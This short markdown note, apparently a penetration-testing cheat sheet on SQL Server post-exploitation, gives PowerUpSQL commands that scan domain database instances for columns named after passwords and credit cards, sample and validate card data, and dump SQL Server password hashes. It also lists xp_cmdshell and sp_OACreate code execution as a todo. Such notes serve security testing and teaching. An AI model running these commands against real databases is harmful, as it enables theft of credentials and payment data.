# Post Exploitation

## Finding Sensitive Info

Indicators of sensitive info are the size, utilization of transparent encryption, names etc.

For example, we can use this PowerUpSQL query to identify sensitive info based on names:

```
>> Get-SQLInstanceDomain | Get-SQLConnectionTest | GetSQLColumnSampleDataThreaded -Verbose -Threads 10 -Keyword "credit,money,password" -SampleSize 2 -ValidateCC -NoDefaults
```

Or with transparent encryption:

```
Get-SQLInstanceDomain | Get-SQLConnectionTest | Get-SQLDatabaseThreaded – Verbose –Threads 10 -NoDefaults | Where-Object {$_.is_encrypted –eq "TRUE"} |
Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword "card, password" –SampleSize 2 –ValidateCC -NoDefaults
```

## Extracting hashes

 PowerUpSQL has a very useful function called GetSQLServerPasswordHash that automates the extracting hashes.

```
Get-SQLServerPasswordHash -Verbose -Instance MSSQLSERVER2016\DATABASE -Migrate
```

## Todo

* Getting code execution via xpcmdshell and sp\_OACreate